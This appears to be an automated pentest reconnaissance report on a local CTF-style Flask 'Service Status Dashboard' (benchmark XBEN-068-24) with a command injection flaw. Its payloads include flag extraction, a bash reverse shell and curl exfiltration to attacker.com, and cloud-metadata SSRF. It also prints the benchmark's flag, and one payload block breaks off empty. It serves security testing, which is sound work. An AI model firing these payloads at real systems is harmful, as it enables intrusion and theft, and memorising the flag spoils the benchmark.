# Reconnaissance Deliverable

## 0) HOW TO READ THIS
This reconnaissance report provides a comprehensive map of the application's attack surface, with special emphasis on authorization and privilege escalation opportunities for the Authorization Analysis Specialist.

**Key Sections for Authorization Analysis:**
- **Section 4 (API Endpoint Inventory):** Contains authorization details for each endpoint - focus on "Required Role" and "Object ID Parameters" columns to identify IDOR candidates.
- **Section 6.4 (Guards Directory):** Catalog of authorization controls - understand what each guard means before analyzing vulnerabilities.
- **Section 7 (Role & Privilege Architecture):** Complete role hierarchy and privilege mapping - use this to understand the privilege lattice and identify escalation targets.
- **Section 8 (Authorization Vulnerability Candidates):** Pre-prioritized lists of endpoints for horizontal, vertical, and context-based authorization testing.

**How to Use the Network Mapping (Section 6):** The entity/flow mapping shows system boundaries and data sensitivity levels. Pay special attention to flows marked with authorization guards and entities handling PII/sensitive data.

**Priority Order for Testing:** Start with Section 9's command injection sources - this application has NO authorization barriers, so exploitation proceeds directly to command injection without any authentication bypass phase.

## 1. Executive Summary

This is a Flask-based Python web application (Werkzeug/3.0.6 Python/3.8.20) functioning as a "Service Status Dashboard" deployed at `http://localhost:45613`. The application presents a **critically vulnerable security posture** with complete absence of security controls and a trivially exploitable command injection vulnerability.

**Core Architecture:**
- **Frontend:** HTML5 with vanilla JavaScript
- **Backend:** Flask 3.0.3 (Python 3.8.20) with 39 lines of application code
- **Infrastructure:** Docker container (python:3.8-slim base), single-service deployment
- **Database:** None - completely stateless application
- **Authentication:** None - publicly accessible endpoints
- **Authorization:** None - zero access controls

**Critical Security Concerns:**
1. **Command Injection (CRITICAL):** POST `/check_service` endpoint accepts user input that flows through bypassable blacklist validation into `subprocess.check_output(command, shell=True)` and subsequently into bash script's `eval` statement. Exploitation: `{"service_name": "-t custom \"cat /app/FLAG.txt\""}`

2. **No Authentication/Authorization (CRITICAL):** Zero authentication mechanisms, no session management, no access controls. All endpoints publicly accessible without credentials.

3. **Plaintext Secret Storage (HIGH):** CTF flag stored in plaintext across 4 locations: `.env` file, Docker build arguments, container filesystem (`/app/FLAG.txt`), and Docker image layers.

4. **Weak Input Validation (HIGH):** Blacklist-based validation only blocks 7 characters (`&|$;\n\r\``), critically missing spaces, hyphens, and parentheses that enable command injection bypass.

5. **No Security Headers (MEDIUM):** Missing CSP, HSTS, X-Frame-Options, X-Content-Type-Options, and all other security headers. Application runs HTTP-only (no TLS).

**Exploitation Path:** External attacker → POST to `/check_service` with malicious payload → bypass blacklist validation → inject `-t custom` flag → execute arbitrary commands via `eval` → extract flag from `/app/FLAG.txt`. **No authentication bypass required.**

## 2. Technology & Service Map

### Frontend
- **Framework:** HTML5 with vanilla JavaScript (no frameworks like React, Vue, Angular)
- **Rendering:** Server-side template rendering via Flask's Jinja2
- **AJAX:** Fetch API for async requests to `/check_service` endpoint
- **Key Libraries:** None (inline JavaScript, no npm dependencies)
- **Authentication Libraries:** None

### Backend
- **Language:** Python 3.8.20
- **Framework:** Flask 3.0.3 (Werkzeug 3.0.6 WSGI server)
- **Key Dependencies:** Flask only (from `requirements.txt`)
- **Shell Integration:** Bash script (`check_service.sh`) invoked via subprocess
- **Security Extensions:** None (no Flask-Login, Flask-Security, Flask-JWT, Flask-Limiter, Flask-CORS, Flask-Talisman)

### Infrastructure
- **Hosting:** Docker containerized (python:3.8-slim base image)
- **CDN:** None detected
- **Database:** None - stateless application
- **Container Orchestration:** Docker Compose (single service)
- **Port Exposure:** Port 45613 (external) → Port 80 (container)
- **Reverse Proxy:** None (Flask development server directly exposed)

### Identified Subdomains
From subfinder scan (likely false positives for localhost):
- www.localhost
- mail.localhost
- autodiscover.localhost
- Multiple regency.localhost, hunter.localhost subdomains
- **Assessment:** Not relevant for localhost deployment - likely DNS artifacts

### Open Ports & Services
From nmap scan (127.0.0.1):
- **Port 80/tcp:** Caddy httpd (reverse proxy or load balancer)
- **Port 443/tcp:** SSL/HTTPS service
- **Port 45613:** **TARGET APPLICATION** - Flask/Werkzeug (Service Status Dashboard)
- **Port 631/tcp:** CUPS 2.3 (printer service - not application-related)
- **Port 4444/tcp:** SimpleHTTPServer with exposed .git directory
- **Port 8888/tcp:** SimpleHTTPServer
- **Port 9998/tcp:** SimpleHTTPServer with exposed .git directory
- **Port 9999/tcp:** Custom HTTP service with CORS headers
- **Port 49152/tcp:** Golang net/http (Tailscale, requires auth)

## 3. Authentication & Session Management Flow

### Entry Points
**NONE - Application has zero authentication mechanisms**

The application exposes two endpoints without any authentication requirements:
- `GET /` - Service status dashboard (public)
- `POST /check_service` - Service checking API (public, contains critical vulnerability)

### Mechanism
**NOT APPLICABLE - No authentication system exists**

**Exhaustive Verification:**
- No login/logout endpoints found
- No user registration functionality
- No credential validation logic
- No password hashing (no bcrypt, werkzeug.security imports)
- No token generation (no JWT, OAuth libraries)
- No session management (no `app.secret_key` configured)
- No Flask-Login, Flask-Security, or authentication extensions installed
- No authentication decorators (`@login_required`, `@jwt_required`) on any routes

**Code Evidence:**
```python
# app.py - Complete imports (no auth libraries)
from flask import Flask, request, jsonify, render_template
import re
import subprocess

app = Flask(__name__)  # No secret_key configuration
# No session usage, no authentication middleware
```

**Security Implication:** The critical command injection vulnerability at `/check_service` is immediately exploitable without requiring authentication bypass, credential theft, or session hijacking.

### Code Pointers
**NOT APPLICABLE** - No authentication code exists in the codebase

**Files Analyzed:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/app.py` (39 lines) - No auth code
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/templates/index.html` (238 lines) - No auth UI
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/app/requirements.txt` - Only Flask==3.0.3

### 3.1 Role Assignment Process
**NOT APPLICABLE - No role system exists**

- **Role Determination:** None - application has no concept of user identity
- **Default Role:** N/A - all requests are anonymous
- **Role Upgrade Path:** N/A - no roles to upgrade
- **Code Implementation:** No role assignment logic found

### 3.2 Privilege Storage & Validation
**NOT APPLICABLE - No privilege system exists**

- **Storage Location:** None - no JWT claims, session data, or database for user privileges
- **Validation Points:** None - no middleware, decorators, or inline permission checks
- **Cache/Session Persistence:** None - application is completely stateless
- **Code Pointers:** No privilege validation code exists

### 3.3 Role Switching & Impersonation
**NOT APPLICABLE - No role or impersonation features**

- **Impersonation Features:** None
- **Role Switching:** None
- **Audit Trail:** No logging of any kind
- **Code Implementation:** Not implemented

## 4. API Endpoint Inventory

**Network Surface Focus:** Only network-accessible endpoints through the target web application at `http://localhost:45613`

| Method | Endpoint Path | Required Role | Object ID Parameters | Authorization Mechanism | Description & Code Pointer |
|--------|---------------|---------------|----------------------|-------------------------|----------------------------|
| GET | `/` | anon | None | None | Serves service status dashboard HTML. No user input processing. **File:** `app.py:32-34` **Handler:** `index()` **Risk:** Low |
| POST | `/check_service` | anon | None | None | **CRITICAL:** Accepts JSON with `service_name` parameter, executes shell commands via subprocess. Vulnerable to command injection. **File:** `app.py:12-30` **Handler:** `check_service()` **Validation:** `contains_bad_chars()` (bypassable) **Sink:** `subprocess.check_output(command, shell=True)` at line 26 **Secondary Sink:** `eval $custom_command` in `check_service.sh:77` **Risk:** CRITICAL |

**Total Endpoints:** 2
**Authenticated Endpoints:** 0
**Unauthenticated Endpoints:** 2 (100%)

**Critical Finding:** All endpoints are publicly accessible without authentication. The `/check_service` endpoint provides direct access to command execution functionality that should be admin-restricted but is completely open.

## 5. Potential Input Vectors for Vulnerability Analysis

**Network Surface Focus:** Only input vectors accessible through network requests to `http://localhost:45613`

### URL Parameters
**NONE FOUND** - Application does not process any URL query parameters (`request.args`)

### POST Body Fields (JSON)
**Location:** POST `/check_service`
- **Parameter:** `service_name` (string)
- **File:** `app.py:14` - `service_name = request.json.get('service_name', '')`
- **Intended Values:** `apache`, `mysql`, `nginx`, `ssh`
- **Validation:** Lines 16-17 - `contains_bad_chars()` blacklist check
- **Dangerous Sink:** Line 26 - Flows into `subprocess.check_output(command, shell=True)`
- **Exploitation:** Bypasses blacklist via `-t custom "malicious_command"` payload
- **Risk:** CRITICAL - Direct command injection vector

**Expected Request Format:**
```json
POST /check_service
Content-Type: application/json

{
  "service_name": "apache"
}
```

**Malicious Payload Example:**
```json

**NONE PROCESSED** - Application does not read any HTTP headers for business logic
- No `X-Forwarded-For` processing
- No `Authorization` header validation
- No custom headers processed
- No `User-Agent` parsing
- **Code Evidence:** `request.json` only usage at line 14, no `request.headers` access

### Cookie Values
**NONE PROCESSED** - Application does not set or read any cookies
- No session cookies (no `app.secret_key` configured)
- No tracking cookies
- No preference cookies
- **Code Evidence:** No `session` object usage, no `make_response()` with cookies

### Other Input Vectors
**NONE FOUND** - Application has no additional input mechanisms:
- No file upload functionality
- No WebSocket connections

## 6. Network & Interaction Map

**Network Surface Focus:** Only deployed, network-accessible infrastructure reachable through `http://localhost:45613`

### 6.1 Entities

| Title | Type | Zone | Tech | Data | Notes |
|-------|------|------|------|------|-------|
| ExternalClient | ExternAsset | Internet | Browser/curl | None | External attackers or legitimate users |
| ServiceDashboard | Service | App | Flask/Werkzeug 3.0.6 Python 3.8.20 | Secrets (FLAG) | Main web application on port 45613 |
| BashScript | Service | App | Bash shell | Secrets (FLAG) | check_service.sh with eval vulnerability |
| FlagFile | DataStore | App | Plaintext file | Secrets | /app/FLAG.txt in container filesystem |
| DockerHost | AdminPlane | Edge | Docker Engine | Secrets (FLAG in .env) | Container runtime environment |

### 6.2 Entity Metadata

| Title | Metadata Key: Value; Key: Value; Key: Value |
|-------|----------------------------------------------|
| ExternalClient | Access: `http://localhost:45613`; Authentication: `None`; Authorization: `None` |
| ServiceDashboard | Hosts: `http://localhost:45613 (external), http://0.0.0.0:80 (internal)`; Endpoints: `/` (GET), `/check_service` (POST); Auth: `None`; Framework: `Flask 3.0.3`; Dependencies: `Flask only`; Validation: `Blacklist (bypassable)`; CommandExecution: `subprocess.check_output(shell=True)` |
| BashScript | Path: `/app/check_service.sh`; Modes: `systemctl (default), ps, custom`; CriticalVuln: `eval $custom_command at line 77`; TriggerFlag: `-t custom`; Risk: `Remote Code Execution` |
| FlagFile | Path: `/app/FLAG.txt`; Permissions: `Standard (readable by application)`; Content: `flag{e4989f65-575a-4213-a9e7-87a96cb61e87}`; Protection: `None (plaintext)` |
| DockerHost | Image: `python:3.8-slim`; User: `root (no USER directive in Dockerfile)`; Volumes: `None exposed`; Network: `Bridge mode`; ExposedPorts: `45613:80` |

### 6.3 Flows (Connections)

| FROM → TO | Channel | Path/Port | Guards | Touches |
|-----------|---------|-----------|--------|---------|
| ExternalClient → ServiceDashboard | HTTPS | `:45613 /` | None | Public |
| ExternalClient → ServiceDashboard | HTTPS | `:45613 /check_service` | None | Secrets (command injection path to FLAG) |
| ServiceDashboard → BashScript | Process | `subprocess.check_output()` | validation:blacklist (bypassable) | Secrets |
| BashScript → FlagFile | File | `/app/FLAG.txt` | None (if RCE achieved) | Secrets |
| ServiceDashboard → DockerHost | Process | Container runtime | None | Secrets |

### 6.4 Guards Directory

| Guard Name | Category | Statement |
|------------|----------|-----------|
| validation:blacklist | Input Validation | Blocks 7 characters: `&`, `|`, `$`, `;`, `\n`, `\r`, `` ` ``. **BYPASSABLE** - allows spaces, hyphens, parentheses. Does not prevent `-t custom` flag injection. |
| None | Auth | No authentication required for any endpoint. All endpoints publicly accessible. |
| None | Authorization | No role-based access control. No permission checks. All functionality available to anonymous users. |
| None | Network | No IP allowlisting. No rate limiting. No geographic restrictions. |
| None | Protocol | HTTP only (no TLS/HTTPS enforcement). No HSTS header. Plaintext transmission. |

**Critical Security Gap:** The only guard (`validation:blacklist`) is insufficient and bypassable, providing no effective protection against command injection.

## 7. Role & Privilege Architecture

### 7.1 Discovered Roles

**FINDING: NO ROLES DEFINED**

The application implements zero role-based access control. After exhaustive analysis:
- No role enumerations or constants
- No user types or privilege levels
- No role decorators or middleware
- No role storage (database, JWT claims, session)
- All requests execute with identical privileges

| Role Name | Privilege Level | Scope/Domain | Code Implementation |
|-----------|-----------------|--------------|---------------------|
| anon (implicit) | N/A | Global | All endpoints accessible without authentication |

**Security Implication:** Since no roles exist, there are no authorization boundaries to enforce or bypass. All attackers have identical access to all functionality, including the command injection vulnerability.

### 7.2 Privilege Lattice

**NOT APPLICABLE - No privilege hierarchy exists**

```
Privilege Ordering:
anonymous = all access (no differentiation)

No role hierarchy.
No privilege levels.
No role switching or impersonation.
```

### 7.3 Role Entry Points

| Role | Default Landing Page | Accessible Route Patterns | Authentication Method |
|------|---------------------|---------------------------|----------------------|
| anon | `/` | `/`, `/check_service` (all endpoints) | None |

**All routes accessible to anonymous users without authentication.**

### 7.4 Role-to-Code Mapping

**NOT APPLICABLE - No role implementation exists**

| Role | Middleware/Guards | Permission Checks | Storage Location |
|------|-------------------|-------------------|------------------|
| N/A | None | None | N/A |

**Code Evidence:**
```python
# app.py:12-13 - No authentication decorators
@app.route('/check_service', methods=['POST'])
def check_service():
    # Direct processing without role checks
    service_name = request.json.get('service_name', '')
```

## 8. Authorization Vulnerability Candidates

### 8.1 Horizontal Privilege Escalation Candidates

**FINDING: NOT APPLICABLE IN TRADITIONAL SENSE**

The application has no user-specific objects or multi-user data segregation, therefore no traditional horizontal privilege escalation (user A accessing user B's data) is possible.

**However, Command Injection Provides Equivalent Impact:**

| Priority | Endpoint Pattern | Object ID Parameter | Data Type | Sensitivity |
|----------|------------------|---------------------|-----------|-------------|
| CRITICAL | `/check_service` | service_name (hijacked for injection) | System commands, filesystem | Complete system access via RCE |

**Exploitation:** Any external attacker can access the entire filesystem (including `/app/FLAG.txt`) via command injection, which is functionally equivalent to complete horizontal privilege escalation across all data.

### 8.2 Vertical Privilege Escalation Candidates

**FINDING: NOT APPLICABLE - No privilege levels to escalate**

Since the application has no authentication, authorization, or role system, vertical privilege escalation (user → admin) is not applicable.

**However, Analogous Escalation Exists:**

| Target Role | Endpoint Pattern | Functionality | Risk Level |
|-------------|------------------|---------------|------------|
| Container Root | `/check_service` | Command execution via subprocess + eval | CRITICAL |

**Escalation Path:**
```
External Network User (No Auth Required)
    ↓ [Command Injection]
Root User in Docker Container
    ↓ [Filesystem Access]
Flag Extraction Complete
```

**Note:** The Docker container runs as root (no `USER` directive in Dockerfile), so successful command injection provides root privileges within the container.

### 8.3 Context-Based Authorization Candidates

**FINDING: NO MULTI-STEP WORKFLOWS**

The application has no complex workflows, state machines, or multi-step processes that could be bypassed.

| Workflow | Endpoint | Expected Prior State | Bypass Potential |
|----------|----------|---------------------|------------------|
| N/A | N/A | N/A | N/A |

**The application is completely stateless with no workflow state to bypass.**

## 9. Injection Sources (Command Injection and SQL Injection)

**Network Surface Focus:** Only injection sources reachable through network requests to `http://localhost:45613`

### Command Injection Sources

#### INJECTION SOURCE #1: POST /check_service service_name Parameter

**Entry Point:** `app.py:14`
```python
service_name = request.json.get('service_name', '')
```

**Data Flow:**
```
HTTP POST /check_service
    ↓
request.json.get('service_name', '') [app.py:14]
    ↓
contains_bad_chars() validation [app.py:16-17]
    ↓
command = f"./check_service.sh {service_name}" [app.py:22]
    ↓
subprocess.check_output(command, shell=True) [app.py:26] ⚠️ CRITICAL SINK
    ↓
check_service.sh receives service_name as arguments
    ↓
[IF -t custom FLAG PRESENT]
    ↓
custom_command=$1 [check_service.sh:69]
    ↓
eval $custom_command [check_service.sh:77] ⚠️ CRITICAL SINK
```

**Validation Function:** `app.py:7-9`
```python
def contains_bad_chars(s):
    special_chars = ['&', '|', '$', ';', '\n', '\r', '`']
    return any(char in s for char in special_chars)
```

**Validation Weaknesses:**
- **Blocks:** `&`, `|`, `$`, `;`, newline, carriage return, backtick
- **CRITICALLY MISSING:** Spaces, hyphens (`-`), parentheses `()`, quotes, braces `{}`, brackets `[]`, angle brackets `<>`, forward slashes `/`, wildcards `*?`
- **Bypass Technique:** Inject `-t custom` flag to bash script, followed by arbitrary command

**Primary Sink:** `app.py:26`
```python
result = subprocess.check_output(command, shell=True)
```
- **Risk:** `shell=True` enables full shell interpretation
- **Impact:** User input directly interpolated into shell command string
- **Exploitability:** HIGH - direct command execution with insufficient validation

**Secondary Sink:** `check_service.sh:77`
```bash
eval $custom_command
```
- **Context:** Executed when `-t custom` flag is provided to bash script
- **Risk:** Direct execution of user-controlled string via `eval`
- **Impact:** Arbitrary command execution in bash context
- **Exploitability:** CRITICAL - no validation in bash script

**User-Controllable:** `service_name` parameter from JSON body

**Exploitation Examples:**

**Payload 1: Direct Flag Extraction**
```json
POST /check_service
{
  "service_name": "-t custom \"cat /app/FLAG.txt\""
}
```
**Result:** Extracts flag via eval in bash script

**Payload 2: Reverse Shell**
```json
{
  "service_name": "-t custom \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\""
}
```
**Result:** Establishes reverse shell (if outbound connections allowed)

**Payload 3: Data Exfiltration via curl**
```json
{
  "service_name": "-t custom \"curl http://attacker.com/?flag=$(cat /app/FLAG.txt)\""
}
```
**Result:** Exfiltrates flag to attacker-controlled server (curl available in container)

**Exploitability Assessment:** **CRITICAL**
- ✅ Network-accessible endpoint (no authentication required)
- ✅ User input flows to dangerous sink
- ✅ Insufficient validation (bypassable blacklist)
- ✅ Shell interpretation enabled (`shell=True`)
- ✅ Secondary eval sink amplifies risk
- ✅ Container utilities available (`curl`, `ping`) for post-exploitation

### SQL Injection Sources

**FINDING: NONE - No database present**

**Verification:**
- No database libraries imported (`sqlite3`, `psycopg2`, `mysql.connector`, `pymongo`, `sqlalchemy`)
- No database connections in code
- No SQL query construction
- Application is completely stateless with no data persistence
- `requirements.txt` contains only `Flask==3.0.3`

**Conclusion:** SQL injection testing is not applicable to this application.

## 10. Additional Security Findings

### 10.1 XSS (Cross-Site Scripting)
**FINDING: NO XSS VULNERABILITIES**

The application uses secure DOM manipulation:
```javascript
// index.html:77, 80, 86 - Safe textContent usage
statusDiv.textContent = `Status: ${status}`;  // Auto-escapes HTML
```
- Flask's `jsonify()` properly escapes JSON responses
- Jinja2 auto-escaping enabled for templates
- No dangerous patterns (`innerHTML`, `eval()`, `document.write()`)

### 10.2 SSRF (Server-Side Request Forgery)
**FINDING: NO DIRECT SSRF VULNERABILITIES**

- No HTTP client libraries (`requests`, `urllib`, `httpx`)
- No outbound HTTP requests in application code
- No URL parameters processed

**However:** Command injection enables SSRF-like attacks via `curl` utility available in container:
```json
{"service_name": "-t custom \"curl http://169.254.169.254/latest/meta-data/\""}
```

### 10.3 Secrets Management
**FINDING: CRITICAL - Plaintext secret storage**

**Flag Storage Locations:**
1. **Host `.env` file:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-068-24/.env:1`
   - Content: `FLAG="flag{e4989f65-575a-4213-a9e7-87a96cb61e87}"`
   - Risk: Exposed in source code repository

2. **Docker Build Arguments:** `docker-compose.yml:5-6`
   - Embedded in image metadata (extractable via `docker history`)

3. **Container Filesystem:** `/app/FLAG.txt`
   - Created at build time, accessible via command injection

4. **Docker Image Layers:** Persists in image history

**No Encryption:** Zero cryptographic protections for flag storage

### 10.4 Logging & Monitoring
**FINDING: ZERO LOGGING IMPLEMENTATION**

- No Python `logging` module usage
- No audit trail of requests or command execution
- No security event logging
- No rate limiting or anomaly detection
- **Implication:** Command injection exploitation is invisible to defenders

### 10.5 Security Headers
**FINDING: ALL SECURITY HEADERS MISSING**

Missing headers:
- `Content-Security-Policy` (CSP)
- `Strict-Transport-Security` (HSTS)
- `X-Frame-Options`
- `X-Content-Type-Options`
- `X-XSS-Protection`
- `Referrer-Policy`
- `Permissions-Policy`

**Application runs HTTP-only (no TLS/HTTPS).**

## 11. Exploitation Roadmap for Subsequent Specialists

### For Injection Analysis Specialist
**PRIMARY FOCUS:** Command injection at POST `/check_service`

**Attack Vector:**
```
Endpoint: POST /check_service
Parameter: service_name
Payload: "-t custom \"cat /app/FLAG.txt\""
Bypass Technique: Use -t flag (not blocked by validation)
Sink: subprocess.check_output(shell=True) + eval
```

**Test Cases:**
1. Basic command execution: `"-t custom whoami"`
2. Flag extraction: `"-t custom \"cat /app/FLAG.txt\""`
3. File enumeration: `"-t custom \"ls -la /app\""`
4. Reverse shell (if needed): `"-t custom \"bash -i >&  /dev/tcp/attacker/4444 0>&1\""`

### For XSS Analysis Specialist
**STATUS:** No XSS vulnerabilities found. Application uses secure DOM manipulation (`.textContent`). XSS testing not applicable.

### For Auth Analysis Specialist
**STATUS:** No authentication system exists. Skip authentication bypass testing. All endpoints publicly accessible.

### For SSRF Analysis Specialist
**STATUS:** No direct SSRF vulnerabilities. However, command injection enables SSRF via `curl`:
```json
{"service_name": "-t custom \"curl http://internal-service:8080/\""}
```

### For Authz Analysis Specialist
**STATUS:** No authorization system exists. Zero role-based access control. All endpoints have identical access (public). Skip authorization bypass testing. Focus on exploiting command injection directly without privilege escalation requirements.
